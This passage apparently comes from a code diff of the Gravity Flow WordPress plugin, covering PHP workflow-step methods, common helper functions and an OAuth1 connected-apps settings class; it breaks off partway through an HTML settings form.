gform_delete_meta( $entry_id, 'workflow_step' );
$feedback = esc_html__( 'Workflow cancelled.', 'gravityflow' );
gravity_flow()->add_timeline_note( $entry_id, $feedback );
gravity_flow()->log_event( 'workflow', 'cancelled', $form['id'], $entry_id );
GFAPI::send_notifications( $form, $entry, 'workflow_cancelled' );
return true;
}
/**
* Restarts the current step for the given entry, adds a note in the entry's timeline and logs the activity.
*
* @param array $entry The current entry.
*
* @return bool True for success. False if the entry doesn't have a current step.
*/
public function restart_step( $entry ) {
$step = $this->get_current_step( $entry );
if ( ! $step ) {
return false;
}
$entry_id = $entry['id'];
$this->log_activity( 'step', 'restarted', $this->form_id, $entry_id );
$step->purge_assignees();
$step->restart_action();
$step->start();
$feedback = esc_html__( 'Workflow Step restarted.', 'gravityflow' );
$this->add_timeline_note( $entry_id, $feedback );
return true;
}
/**
* Restarts the workflow for an entry, adds a note in the entry's timeline and logs the activity.
*
* @param array $entry The current entry.
*/
public function restart_workflow( $entry ) {
$current_step = $this->get_current_step( $entry );
$entry_id = absint( $entry['id'] );
$form = GFAPI::get_form( $this->form_id );
/**
* Fires just before the workflow restarts for an entry.
*
* @since 1.4.3
*
* @param array $entry The current entry.
* @param array $form The current form.
*/
do_action( 'gravityflow_pre_restart_workflow', $entry, $form );
if ( $current_step ) {
$current_step->purge_assignees();
}
$steps = $this->get_steps();
foreach ( $steps as $step ) {
// Create a step based on the entry and use it to reset the status.
$step_for_entry = $this->get_step( $step->get_id(), $entry );
$step_for_entry->update_step_status( 'pending' );
$step_for_entry->restart_action();
}
$feedback = esc_html__( 'Workflow restarted.', 'gravityflow' );
$this->add_timeline_note( $entry_id, $feedback );
gform_update_meta( $entry_id, 'workflow_final_status', 'pending' );
gform_update_meta( $entry_id, 'workflow_step', false );
$this->log_activity( 'workflow', 'restarted', $form['id'], $entry_id );
$this->process_workflow( $entry_id );
}
/**
* Returns the workflow status for the current entry.
*
* @param array $entry The current entry.
*
* @return string|bool The status.
*/
public function get_status( $entry ) {
$current_step = $this->get_current_step( $entry );
if ( false === $current_step ) {
$status = gform_get_meta( $entry['id'], 'workflow_final_status' );
} else {
$status = $current_step->evaluate_status();
}
return $status;
}
/**
* Sends an entry to the specified step.
*
* @param array $entry The current entry.
* @param int $step_id The ID of the step the entry is to be sent to.
*/
public function send_to_step( $entry, $step_id ) {
$current_step = $this->get_current_step( $entry );
if ( $current_step ) {
$current_step->purge_assignees();
$current_step->update_step_status( 'cancelled' );
}
$entry_id = $entry['id'];
$new_step = $this->get_step( $step_id, $entry );
$feedback = sprintf( esc_html__( 'Sent to step: %s', 'gravityflow' ), $new_step->get_name() );
$this->add_timeline_note( $entry_id, $feedback );
$this->log_activity( 'workflow', 'sent_to_step', $this->form_id, $entry_id, $step_id );
gform_update_meta( $entry_id, 'workflow_final_status', 'pending' );
$new_step->start();
$this->process_workflow( $entry_id );
}
/**
* Add a note to the timeline of the specified entry.
*
* @param int $entry_id The ID of the current entry.
* @param string $note The note to be added to the timeline.
*/
public function add_timeline_note( $entry_id, $note ) {
gravity_flow()->add_timeline_note( $entry_id, $note );
}
/**
* Registers activity event in the activity log. The activity log is used to generate reports.
*
* @param string $log_type The object of the event: 'workflow', 'step', 'assignee'.
* @param string $event The event which occurred: 'started', 'ended', 'status'.
* @param int $form_id The form ID.
* @param int $entry_id The Entry ID.
* @param string $log_value The value to log.
* @param int $step_id The Step ID.
* @param int $duration The duration in seconds - if applicable.
* @param int $assignee_id The assignee ID - if applicable.
* @param string $assignee_type The Assignee type - if applicable.
* @param string $display_name The display name of the User.
*/
public function log_activity( $log_type, $event, $form_id = 0, $entry_id = 0, $log_value = '', $step_id = 0, $duration = 0, $assignee_id = 0, $assignee_type = '', $display_name = '' ) {
gravity_flow()->log_event( $log_type, $event, $form_id, $entry_id, $log_value, $step_id, $duration, $assignee_id, $assignee_type, $display_name );
}
/**
* Returns the timeline for the specified entry with simple formatting.
*
* @param array $entry The current entry.
*
* @return string
*/
public function get_timeline( $entry ) {
return gravity_flow()->get_timeline( $entry );
}
}

397
includes/class-common.php Normal file
View File

@@ -0,0 +1,397 @@
<?php
/**
* Gravity Flow Common Functions
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.3.3
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Common
*
* @since 1.3.3
*/
class Gravity_Flow_Common {
/**
* Returns a URl to a workflow page.
*
* @param array $query_args An associative array of query variables.
* @param int|null $page_id The ID of the WordPress Page where the shortcode is located.
* @param Gravity_Flow_Assignee|null $assignee The Assignee.
* @param string $access_token The access token for the current assignee.
*
* @return string
*/
public static function get_workflow_url( $query_args, $page_id = null, $assignee = null, $access_token = '' ) {
if ( empty( $access_token ) && $assignee && $assignee->get_type() == 'email' ) {
$token_lifetime_days = apply_filters( 'gravityflow_entry_token_expiration_days', 30, $assignee );
$token_expiration_timestamp = strtotime( '+' . (int) $token_lifetime_days . ' days' );
$access_token = gravity_flow()->generate_access_token( $assignee, null, $token_expiration_timestamp );
}
$base_url = '';
if ( ! empty( $page_id ) && $page_id != 'admin' ) {
$base_url = get_permalink( $page_id );
}
if ( empty( $base_url ) ) {
$base_url = admin_url( 'admin.php' );
}
if ( ! empty( $access_token ) ) {
$query_args['gflow_access_token'] = $access_token;
}
$url = add_query_arg( $query_args, $base_url );
/**
* Allows the workflow URL (e.g. inbox or status page) to be modified.
*
* @since 1.9.2
*
* @param string $url The URL.
* @param int|null $page_id The ID of the WordPress Page where the shortcode is located.
* @param Gravity_Flow_Assignee $assignee The Assignee.
*/
$url = apply_filters( 'gravityflow_workflow_url', $url, $page_id, $assignee );
return $url;
}
/**
* If form and field ids have bee specified for display on the inbox/status page add the columns.
*
* @param array $columns The inbox/status page columns.
* @param int $form_id The form ID of the entries to be displayed or 0 to display entries from all forms.
* @param array $field_ids The field IDs or entry properties/meta to be displayed.
*
* @return array
*/
public static function get_field_columns( $columns, $form_id, $field_ids ) {
if ( empty( $form_id ) || ! is_array( $field_ids ) || empty( $field_ids ) ) {
return $columns;
}
$form = GFAPI::get_form( $form_id );
$entry_meta = GFFormsModel::get_entry_meta( $form_id );
foreach ( $field_ids as $id ) {
switch ( strtolower( $id ) ) {
case 'ip' :
$columns[ $id ] = __( 'User IP', 'gravityflow' );
break;
case 'source_url' :
$columns[ $id ] = __( 'Source Url', 'gravityflow' );
break;
case 'payment_status' :
$columns[ $id ] = __( 'Payment Status', 'gravityflow' );
break;
case 'transaction_id' :
$columns[ $id ] = __( 'Transaction ID', 'gravityflow' );
break;
case 'payment_date' :
$columns[ $id ] = __( 'Payment Date', 'gravityflow' );
break;
case 'payment_amount' :
$columns[ $id ] = __( 'Payment Amount', 'gravityflow' );
break;
case ( ( is_string( $id ) || is_int( $id ) ) && array_key_exists( $id, $entry_meta ) ) :
$columns[ $id ] = $entry_meta[ $id ]['label'];
break;
default:
$field = GFFormsModel::get_field( $form, $id );
if ( is_object( $field ) ) {
$input_label_only = apply_filters( 'gform_entry_list_column_input_label_only', true, $form, $field );
$columns[ $id ] = GFFormsModel::get_label( $field, $id, $input_label_only );
}
}
}
return $columns;
}
/**
* Get an array of choices containing the user roles.
*
* @param bool $prefix_values Indicates if the choice value should be prefixed 'role|'. Default is true.
* @param bool $reverse Indicates if the choices should be reversed. Default is false.
* @param bool $frontend Indicates if the choices are being used by a front-end field. Default is false.
*
* @since 1.4.2-dev
*
* @return array
*/
public static function get_roles_as_choices( $prefix_values = true, $reverse = false, $frontend = false ) {
if ( ! function_exists( 'get_editable_roles' ) ) {
require_once( ABSPATH . '/wp-admin/includes/user.php' );
}
$roles = get_editable_roles();
if ( $reverse ) {
$roles = array_reverse( $roles );
}
$choices = array();
$prefix = $prefix_values ? 'role|' : '';
$key = $frontend ? 'text' : 'label';
foreach ( $roles as $role => $details ) {
$name = translate_user_role( $details['name'] );
$choices[] = array( 'value' => $prefix . $role, $key => $name );
}
return $choices;
}
/**
* Format the date/time or timestamp for display.
*
* @since 1.7.1-dev
*
* @param int|string $date_or_timestamp The unix timestamp or string in the Y-m-d H:i:s format to be formatted.
* @param string $format The format the date/time should be returned in. Default is d M Y g:i a.
* @param bool $is_human Indicates if the date/time should be returned in a human readable format such as "1 hour ago". Default is false.
* @param bool $include_time Indicates if the time should be included in the returned string. Default is false.
*
* @return string
*/
public static function format_date( $date_or_timestamp, $format = 'd M Y g:i a', $is_human = false, $include_time = false ) {
$date_time = is_integer( $date_or_timestamp ) ? date( 'Y-m-d H:i:s', $date_or_timestamp ) : $date_or_timestamp;
return GFCommon::format_date( $date_time, $is_human, $format, $include_time );
}
/**
* Get the 'workflow_notes' entry meta item.
*
* @since 1.7.1-dev
*
* @param int $entry_id The ID of the entry the notes are to be retrieved for.
* @param bool $for_output Should the notes be ordered newest to oldest? Default is false.
*
* @return array
*/
public static function get_workflow_notes( $entry_id, $for_output = false ) {
$notes_json = gform_get_meta( $entry_id, 'workflow_notes' );
$notes_array = empty( $notes_json ) ? array() : json_decode( $notes_json, true );
if ( $for_output && ! empty( $notes_array ) ) {
$notes_array = array_reverse( $notes_array );
}
return $notes_array;
}
/**
* Add a user submitted note to the 'workflow_notes' entry meta item.
*
* @since 1.7.1-dev
*
* @param string $note The note to be added.
* @param int $entry_id The ID of the entry the note is to be added to.
* @param int $step_id The ID of the current step.
*/
public static function add_workflow_note( $note, $entry_id, $step_id ) {
$notes = self::get_workflow_notes( $entry_id );
$notes[] = array(
'id' => uniqid( '', true ),
'step_id' => $step_id,
'assignee_key' => gravity_flow()->get_current_user_assignee_key(),
'timestamp' => time(),
'value' => $note,
);
gform_update_meta( $entry_id, 'workflow_notes', json_encode( $notes ) );
}
/**
* Get the timeline notes for the current entry.
*
* @since 1.7.1-dev
*
* @param array $entry The current entry.
*
* @return array
*/
public static function get_timeline_notes( $entry ) {
$notes = RGFormsModel::get_lead_notes( $entry['id'] );
foreach ( $notes as $key => $note ) {
if ( $note->note_type !== 'gravityflow' ) {
unset( $notes[ $key ] );
}
}
reset( $notes );
array_unshift( $notes, self::get_initial_note( $entry ) );
$notes = array_reverse( $notes );
return $notes;
}
/**
* Get the Workflow Submitted note.
*
* @since 1.7.1-dev
*
* @param array $entry The current entry.
*
* @return object
*/
public static function get_initial_note( $entry ) {
$initial_note = new stdClass();
$initial_note->id = 0;
$initial_note->date_created = $entry['date_created'];
$initial_note->value = esc_html__( 'Workflow Submitted', 'gravityflow' );
$initial_note->user_id = $entry['created_by'];
$user = get_user_by( 'id', $entry['created_by'] );
$initial_note->user_name = $user ? $user->display_name : $entry['ip'];
return $initial_note;
}
/**
* Get the step for the current timeline note.
*
* @since 1.7.1-dev
*
* @param object $note The note properties.
*
* @return bool|Gravity_Flow_Step
*/
public static function get_timeline_note_step( $note ) {
$step = empty( $note->user_id ) ? Gravity_Flow_Steps::get( $note->user_name ) : false;
return $step;
}
/**
* Get the display name for the current timeline note.
*
* @since 1.7.1-dev
*
* @param object $note The note properties.
* @param bool|Gravity_Flow_Step $step The step or false if not available.
*
* @return string
*/
public static function get_timeline_note_display_name( $note, $step ) {
if ( empty( $note->user_id ) ) {
if ( $note->user_name !== 'gravityflow' && $step ) {
$display_name = $step->get_label();
} else {
$display_name = gravity_flow()->translate_navigation_label( 'Workflow' );
}
} else {
$display_name = $note->user_name;
}
return $display_name;
}
/**
* Get the Gravity Forms database version number.
*
* @return string
*/
public static function get_gravityforms_db_version() {
if ( method_exists( 'GFFormsModel', 'get_database_version' ) ) {
$db_version = GFFormsModel::get_database_version();
} else {
$db_version = GFForms::$version;
}
return $db_version;
}
/**
* Get the name of the Gravity Forms table containing the entry properties.
*
* @return string
*/
public static function get_entry_table_name() {
return version_compare( self::get_gravityforms_db_version(), '2.3-dev-1', '<' ) ? GFFormsModel::get_lead_table_name() : GFFormsModel::get_entry_table_name();
}
/**
* Get the name of the Gravity Forms table containing the entry meta.
*
* @return string
*/
public static function get_entry_meta_table_name() {
return version_compare( self::get_gravityforms_db_version(), '2.3-dev-1', '<' ) ? GFFormsModel::get_lead_meta_table_name() : GFFormsModel::get_entry_meta_table_name();
}
/**
* Get the name of the Gravity Forms column containing the entry ID.
*
* @return string
*/
public static function get_entry_id_column_name() {
return version_compare( self::get_gravityforms_db_version(), '2.3-dev-1', '<' ) ? 'lead_id' : 'entry_id';
}
/**
* Determines if a field should be displayed.
*
* @since 2.0.1-dev
*
* @param GF_Field $field The field properties.
* @param Gravity_Flow_Step|null $current_step The current step for this entry.
* @param array $form The form for the current entry.
* @param array $entry The entry being processed for display.
* @param bool $is_product_field Is the current field one of the product field types.
*
* @return bool
*/
public static function is_display_field( $field, $current_step, $form, $entry, $is_product_field = false ) {
$display_field = true;
$display_fields_mode = $current_step ? $current_step->display_fields_mode : 'all_fields';
if ( $field->type !== 'section' ) {
if ( $display_fields_mode !== 'all_fields' ) {
$display_fields_selected = $current_step && is_array( $current_step->display_fields_selected ) ? $current_step->display_fields_selected : array();
$is_selected_field = in_array( $field->id, $display_fields_selected );
if ( ! $is_selected_field && $display_fields_mode === 'selected_fields' || $is_selected_field && $display_fields_mode === 'all_fields_except' ) {
$display_field = false;
}
} elseif ( GFFormsModel::is_field_hidden( $form, $field, array(), $entry ) || $is_product_field ) {
$display_field = false;
}
}
$display_field = (bool) apply_filters( 'gravityflow_workflow_detail_display_field', $display_field, $field, $form, $entry, $current_step );
return $display_field;
}
/**
* Checks whether a field is an editable field.
*
* @since 2.0.1-dev
*
* @param GF_Field $field The field to be checked.
* @param Gravity_Flow_Step $current_step The current step.
*
* @return bool
*/
public static function is_editable_field( $field, $current_step ) {
return in_array( $field->id, $current_step->get_editable_fields() );
}
}

View File

@@ -0,0 +1,765 @@
<?php
/**
* Gravity Flow
*
* @package GravityFlow
* @copyright Copyright (c) 2015-2018, Steven Henty S.L.
* @license http://opensource.org/licenses/gpl-2.0.php GNU Public License
* @since 1.8.1
*/
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class Gravity_Flow_Connected_Apps
*
* @since 1.8.1
*/
class Gravity_Flow_Connected_Apps {
/**
* Holds connection status keys and details.
*
* @var array
*/
protected $oauth_connection_statuses = array();
/**
* A holder for the instance.
*
* @var object
*/
public static $_instance;
/**
* The Oauth1 Client.
*
* @var Gravity_Flow_Oauth1_Client
*/
protected $oauth1_client;
/**
* The ID of the app currently being processed.
*
* @var string
*/
protected $current_app_id;
/**
* The app config currently being processed.
*
* @var array
*/
protected $current_app;
/**
* Add actions and set up connection statuses.
*/
function __construct() {
if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) {
add_action( 'wp_ajax_gravity_flow_reauth_app', array( $this, 'reauthorize_app' ) );
} else {
add_action( 'admin_init', array( $this, 'maybe_process_auth_flow' ) );
}
}
/**
* Wrap status messages in styled spans.
*
* @param string $message Incoming status message should be one-two word string.
*
* @return string
*/
public function wrap_status_message( $message ) {
return '<span class="oauth-' . strtolower( str_replace( ' ', '-', $message ) ) . '">' . esc_html( $message ) . '</span>';
}
/**
* Clears the current credentials so that it can be reauthorized.
*/
function reauthorize_app() {
check_admin_referer( 'gflow_settings_js', 'security' );
$app_id = sanitize_text_field( rgpost( 'app' ) );
$app = $this->get_app( $app_id );
$new_app = array(
'app_id' => $app['app_id'],
'app_name' => $app['app_name'],
'api_url' => $app['api_url'],
'app_type' => $app['app_type'],
'status' => 'Not Verified',
);
$this->update_app( $app['app_id'], $new_app );
wp_send_json( array(
'success' => true,
'app' => 'ready for reauth',
) );
}
/**
* If appropriate trigger processing of the auth settings or app authorization.
*/
function maybe_process_auth_flow() {
if ( ( isset( $_POST['gflow_add_app'] )
|| isset( $_POST['gflow_authorize_app'] )
|| isset( $_GET['oauth_verifier'] ) )
) {
$this->process_auth_flow();
}
}
/**
* Processes Auth settings, initial run creates unique_id and app
* subsequent run processes the authorization
*/
function process_auth_flow() {
$adding_app = rgpost( 'gflow_add_app' ) === 'Next';
$authorizing_app = rgpost( 'gflow_authorize_app' ) === 'Authorize App';
if ( $authorizing_app || isset( $_GET['oauth_verifier'] ) ) {
$this->current_app_id = sanitize_text_field( rgget( 'app' ) );
$this->current_app = $this->get_app( $this->current_app_id );
if ( $authorizing_app && ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'nonce_authorize_app' ) ) {
wp_die( 'Failed Security Check - refresh page and try again' );
}
if ( isset( $_POST['app_type'] ) ) {
$process_func = sprintf( 'process_auth_%s', sanitize_text_field( $_POST['app_type'] ) );
} else {
$process_func = sprintf( 'process_auth_%s', $this->current_app['app_type'] );
}
if ( is_callable( array( $this, $process_func ) ) ) {
$this->$process_func();
} else {
gravity_flow()->log_debug( __METHOD__ . '() - processing function ' . $process_func . ' not callable' );
}
} elseif ( $adding_app ) {
if ( ! wp_verify_nonce( $_REQUEST['_wpnonce'], 'nonce_create_app' ) ) {
wp_die( 'Failed Security Check. Refresh the page and try again', 'gravityflow' );
}
$app_name = sanitize_text_field( $_POST['app_name'] );
$app_type = sanitize_text_field( $_POST['app_type'] );
$app_api_url = esc_url_raw( $_POST['api_url'] );
$new_app = array(
'app_name' => $app_name,
'api_url' => $app_api_url,
'app_type' => $app_type,
'status' => 'Not Verified',
);
$app_id = $this->add_app( $new_app );
$url = add_query_arg( 'app', esc_js( $app_id ) );
$url = esc_url_raw( $url );
wp_safe_redirect( $url );
}
}
/**
* Handles OAuth1 authentication.
*
* The callback_url in the client constructor must be registered in the WP-Api application callback_url
* So for the docs the current web address of the step setting form is taken and used to setup the application and put into
* the callback url field.
*/
public function process_auth_wp_oauth1() {
if ( ! ( isset( $_POST['consumer_key'] )
|| isset( $_POST['app_name'] )
|| isset( $_GET['app'] )
|| isset( $_GET['oauth_verifier'] ) )
) {
return;
}
require_once( 'class-oauth1-client.php' );
$current_app_id = wp_unslash( sanitize_text_field( rgget( 'app' ) ) );
if ( isset( $_POST['consumer_key'] ) || isset( $_POST['app_name'] ) ) {
$reauth = false;
$current_app = $this->get_app( $current_app_id );
if ( $_POST['app_name'] !== $current_app['app_name'] || $_POST['api_url'] !== $current_app['api_url'] ) {
$current_app['app_name'] = sanitize_text_field( $_POST['app_name'] );
$current_app['api_url'] = sanitize_text_field( $_POST['api_url'] );
}
if ( rgpost( 'consumer_key' ) !== rgar( $current_app, 'consumer_key' ) || rgpost( 'consumer_secret' ) !== rgar( $current_app, 'consumer_secret' ) ) {
$current_app['consumer_key'] = sanitize_text_field( $_POST['consumer_key'] );
$current_app['consumer_secret'] = sanitize_text_field( $_POST['consumer_secret'] );
$reauth = true;
}
$this->update_app( $current_app_id, $current_app );
if ( ! $reauth ) {
wp_safe_redirect( esc_url_raw( remove_query_arg( '' ) ) );
}
}
$this->current_app_id = $current_app_id;
$this->setup_oauth1_client();
$this->status_keys = array_keys( $this->get_connection_statuses() );
if ( ! isset( $_GET['oauth_verifier'] ) ) {
$this->process_oauth1_outward_leg();
} else {
$this->process_oauth1_return_legs();
}
}
/**
* Process oauth1 - authorize returning user
*/
function process_oauth1_return_legs() {
$status = $this->status_keys[1];
$app_ident = $this->current_app_id;
if ( empty( $_GET['oauth_verifier'] ) || ! isset( $_GET['oauth_token'] ) || empty($_GET['oauth_token'] ) ) {
update_option( "gflow_conn_app_status_{$app_ident}_{$status}", 'FAILED' );
} elseif ( ! get_transient( $app_ident . '_temp_creds_secret_' . get_current_user_id() ) ) {
update_option( "gflow_conn_app_status_{$app_ident}_{$status}", 'FAILED' );
} else {
update_option( "gflow_conn_app_status_{$app_ident}_{$status}", 'SUCCESS' );
$status = $this->status_keys[2];
try {
$this->oauth1_client->config['token'] = $_GET['oauth_token'];
$this->oauth1_client->config['token_secret'] = get_transient( $app_ident . '_temp_creds_secret_' . get_current_user_id() );
$access_credentials = $this->oauth1_client->request_access_token( $_GET['oauth_verifier'] );
update_option( "gflow_conn_app_status_{$app_ident}_{$status}", 'SUCCESS' );
$this->current_app['access_creds'] = $access_credentials;
$this->current_app['status'] = 'Verified';
$this->update_app( $app_ident, $this->current_app ) ;
} catch ( Exception $e ) {
update_option( "gflow_conn_app_status_{$app_ident}_{$status}", 'FAILED' );
gravity_flow()->log_debug( __METHOD__ . '() - Exception caught ' . $e->getMessage() );
}
}
$url = remove_query_arg( array( 'oauth_token', 'oauth_verifier', 'wp_scope' ) );
wp_safe_redirect( $url );
}
/**
* Process oauth1 - sending user to site for authorization
*/
function process_oauth1_outward_leg() {
$status = $this->status_keys[0];
$app_ident = $this->current_app_id;
$temp_creds = $this->get_temp_creds( $app_ident );
if ( false === $temp_creds ) {
update_option( "gflow_conn_app_status_{$app_ident}_{$status}", 'FAILED' );
wp_safe_redirect( esc_url_raw( remove_query_arg( '' ) ) );
exit;
} else {
set_transient( $app_ident . '_temp_creds_secret_' . get_current_user_id(), $temp_creds['oauth_token_secret'], HOUR_IN_SECONDS );
update_option( "gflow_conn_app_status_{$app_ident}_{$status}", 'SUCCESS' );
$auth_app_page = esc_url_raw( add_query_arg( $temp_creds, $this->oauth1_client->api_auth_urls['oauth1']['authorize'] ) );
?><script>
window.onload = function() {
window.location = <?php echo json_encode( $auth_app_page ); ?>;
}
</script>
<?php
}
}
/**
* Helper to use the consumer key and secret entered to get temporary credentials
* and then allow the user to authorize the webhook's connection using those credentials.
*
* @param string $app_ident the app getting creds for.
*
* @return string
*/
function get_temp_creds( $app_ident ) {
try {
$temporary_credentials = $this->oauth1_client->request_token();
return $temporary_credentials;
} catch ( Exception $e ) {
gravity_flow()->log_debug( __METHOD__ . '() - Exception caught ' . $e->getMessage() );
return false;
}
return false;
}
/**
* Configure and construct oauth1 client.
*/
function setup_oauth1_client() {
try {
$app = $this->get_app( $this->current_app_id );
$this->oauth1_client = new Gravity_Flow_Oauth1_Client(
array(
'consumer_key' => $app['consumer_key'],
'consumer_secret' => $app['consumer_secret'],
'callback_url' => add_query_arg( array(
'page' => 'gravityflow_settings',
'view' => 'connected_apps',
'app' => $this->current_app_id,
), esc_url( admin_url( 'admin.php' ) ) ),
),
'gravi_flow_' . $app['consumer_key'],
$app['api_url']
);
} catch ( Exception $e ) {
gravity_flow()->log_debug( __METHOD__ . '() - Exception caught ' . $e->getMessage() );
$url = remove_query_arg( array( 'oauth_token', 'oauth_verifier', 'wp_scope' ) );
$url = esc_url_raw( $url );
wp_safe_redirect( $url );
}
}
/**
* Instantiate class from outside.
*
* @return Gravity_Flow_Connected_Apps
*/
public static function instance() {
if ( is_null( self::$_instance ) ) {
self::$_instance = new self();
}
return self::$_instance;
}
/**
* Returns an associative array of statuses plus labels.
*
* @return array
*/
function get_connection_statuses() {
return array(
'get_temporary_credentials' => __( 'Using Consumer Key and Secret to Get Temporary Credentials', 'gravityflow' ),
'user_authorize_app' => __( 'Redirecting for user authorization - you may need to login first', 'gravityflow' ),
'get_access_credentials' => __( 'Using credentials from user authorization to get permanent credentials', 'gravityflow' ),
);
}
/**
* Returns an array of connected apps.
*
* @return array
*/
function get_connected_apps() {
global $wpdb;
$table = $wpdb->options;
$key = 'gflow_conn_app_config_%';
$results = $wpdb->get_results( $wpdb->prepare( "
SELECT *
FROM {$table}
WHERE option_name LIKE %s
", $key ) );
$apps = array();
foreach ( $results as $result ) {
$app = maybe_unserialize( $result->option_value );
$apps[ $app['app_id'] ] = $app;
}
return $apps;
}
/**
* Get the app settings.
*
* @param string $app_id The app ID.
*
* @return array
*/
function get_app( $app_id ) {
return get_option( 'gflow_conn_app_config_' . $app_id, array() );
}
/**
* Delete the app settings.
*
* @param string $app_id The app ID.
*
* @return bool
*/
function delete_app( $app_id ) {
if ( empty( $app_id ) || ! is_string( $app_id ) ) {
return false;
}
// Delete the option with the app settings.
delete_option( 'gflow_conn_app_config_' . $app_id );
// Delete statuses.
$statuses = $this->get_connection_statuses();
foreach ( array_keys( $statuses ) as $key ) {
delete_option( 'gflow_conn_app_status_' . $app_id . $key );
}
return true;
}
/**
* Adds an app.
*
* @param array $app_config The app settings.
*
* @return string
*/
function add_app( $app_config ) {
$app_id = uniqid();
$app_config['app_id'] = $app_id;
add_option( 'gflow_conn_app_config_' . $app_id, $app_config );
return $app_id;
}
/**
* Updates an app.
*
* @param string $app_id The app ID.
* @param array $app_config The app settings.
*
* @return string
*/
function update_app( $app_id, $app_config ) {
$app_config['app_id'] = $app_id;
update_option( 'gflow_conn_app_config_' . $app_id, $app_config );
return $app_id;
}
/**
* Output the HTML markup for the settings tab.
*/
public function settings_tab() {
add_thickbox();
$current_app = array();
$current_app_id = wp_unslash( sanitize_text_field( rgget( 'app' ) ) );
$connected_apps = $this->get_connected_apps();
if ( isset( $_GET['delete'] ) && wp_verify_nonce( $_REQUEST['_nonce'], 'gflow_delete_app' ) ) {
$this->delete_app( $current_app_id );
$url = add_query_arg( array( 'page' => 'gravityflow_settings', 'view' => 'connected_apps' ), esc_url( admin_url( 'admin.php ' ) ) );
echo sprintf( esc_html__( 'App deleted. Redirecting...', 'gravityflow' ), $current_app_id );
?>
<script>window.location.href = '<?php echo $url; ?>'; </script>
<?php
exit;
}
?>
<h3><span><i class="fa fa-cogs"></i> <?php esc_html_e( 'Connected Apps', 'gravityflow' ); ?></span>
<?php
if ( empty( $current_app_id ) ) {
?>
<a class="add-new-h2" id="new-app"><?php esc_html_e( 'Add New', 'gravityflow' ); ?></a>
<?php
}
?>
</h3>
<div id='authorization_statuses_edit' style='display:none'>
<h3><?php esc_html_e( 'Authorization Status Details', 'gravityflow' ); ?></h3>
<ul id='auth_steps'>
<?php
$oauth_connection_statuses = $this->get_connection_statuses();
foreach ( $oauth_connection_statuses as $status => $display ) {
$option_key = 'gflow_conn_app_status_' . $current_app_id . '_' . sanitize_text_field( $status );
if ( get_option( $option_key, '' ) !== '' ) {
$display = get_option( $option_key );
}
?>
<li><span style="font-weight:bold"><?php echo esc_html( ucwords( str_replace( '_', ' ', $status ) ) ); ?></span>: <?php echo $this->wrap_status_message( $display ); ?></li>
<?php
}
?>
</ul>
<p><?php esc_html_e( 'If you don\'t see Success for all of the above steps, please check details and try again.', 'gravityflow' ); ?></p>
</div>
<?php
if ( ! isset( $_GET['app'] ) ) {
$table = new Gravity_Flow_Connected_Apps_Table();
$table->prepare_items();
?>
<div id='connected_apps_table_container'>
<p><?php esc_html_e( 'Note: Connected Apps is a beta feature of the Outgoing Webhook step. If you come across any issues, please submit a support request.', 'gravityflow' ); ?></p>
<?php
$table->display();
?>
</div>
<?php
} else {
$current_app = $connected_apps[ $current_app_id ];
}
$show_form = ( ! empty( $current_app_id ) ) ? '' : 'display:none';
$status = rgar( $current_app, 'status' );
$app_name = rgar( $current_app, 'app_name' );
$api_url = rgar( $current_app, 'api_url' );
?>
<div id='connected_app_form_container' style='<?php echo esc_attr( $show_form ); ?>'>
<h2>
<?php
$is_edit = ! empty( $current_app_id );
echo $is_edit ? esc_html__( 'Edit App', 'gravityflow' ) : esc_html__( 'Add an App', 'gravityflow' );
?>
</h2>
<form class='oauth' id='add_connected_app' method="POST">
<table class="form-table gforms_form_settings">
<tbody>
<tr id="gaddon-setting-row-step_name">
<th>
<label for='app_name'>
<?php
esc_html_e( 'App Name', 'gravityflow' );
echo ' ';
gform_tooltip( __( 'Enter a name for the app.', 'gravityflow' ) );
?>
<span class="required">*</span>
</th>
<td>
<input class='required medium gaddon-setting gaddon-text' type='text' id="app_name" name='app_name' value='<?php esc_attr_e( $app_name ); ?>' />
</td>
</tr>
<tr>
<th>
<label for='app_type'>
<?php
esc_html_e( 'App Type', 'gravityflow' );
echo ' ';
gform_tooltip( esc_html__( 'Currently only WordPress sites using the official WordPress REST API OAuth1 plugin are supported.', 'gravityflow' ) ); ?></th>
</label>
<td>
<select id="app_type" name='app_type'>
<option value='wp_oauth1'><?php esc_html_e( 'WordPress OAuth1', 'gravityflow' ); ?></option>
</select>
</td>
</tr>
<tr id="gaddon-setting-row-step_name">
<th>
<label for='api_url'>
<?php
esc_html_e( 'URL', 'gravityflow' );
echo ' ';
gform_tooltip( __( 'Enter the URL of the site.', 'gravityflow' ) );
?>
<span class="required">*</span>
</label>
</th>
<td>
<input id="api_url" class='required medium gaddon-setting gaddon-text' type='text' name='api_url' value='<?php echo esc_url( $api_url ); ?>' />
</td>
</tr>
<?php if ( $is_edit ) : ?>
<tr>
<th id='status_row'>
<?php esc_html_e( 'Authorization Status', 'gravityflow' ); ?>
</th>
<td>
<a class='thickbox' href='#TB_inline?width=500&height=300&inlineId=authorization_statuses_edit'><?php echo $this->wrap_status_message( $status ); ?></a>
</td>
</tr>
<?php endif; ?>
<?php
if ( empty( $current_app_id ) ) {
?>
<tr>
<td><?php wp_nonce_field( 'nonce_create_app' ); ?></td>
<td><input type='submit' id='gflow_add_app' name='gflow_add_app' class='button primary' value='Next' /> <button type='button' id='gflow_add_app_cancel' class='button primary'><?php esc_html_e( 'Cancel', 'gravityflow' );?></td>
</tr>
<?php
}
if ( $is_edit && ! array_key_exists( 'consumer_key', $current_app ) && ! array_key_exists( 'consumer_secret', $current_app ) ) {
?>
<tr>
<td colspan="2">
<h4><?php esc_html_e( 'Before continuing, copy and paste the current URL from your browser\'s address bar into the Callback setting of the registered application.', 'gravityflow' ); ?></h4>
<input type='hidden' name='authorizing_app' value='<?php echo esc_attr( $current_app_id ); ?>' />
</td>
</tr>
<tr>
<th><?php esc_html_e( 'Client Key', 'gravityflow'); gform_tooltip( __( 'Enter the Client Key.', 'gravityflow' ) ); ?><span class="required">*</span> </th>
<td>
<input class='required medium gaddon-setting gaddon-text' type='text' name='consumer_key' value='<?php echo esc_attr( rgar( $current_app, 'consumer_key' ) ); ?>' />
</td>
</tr>
<tr>
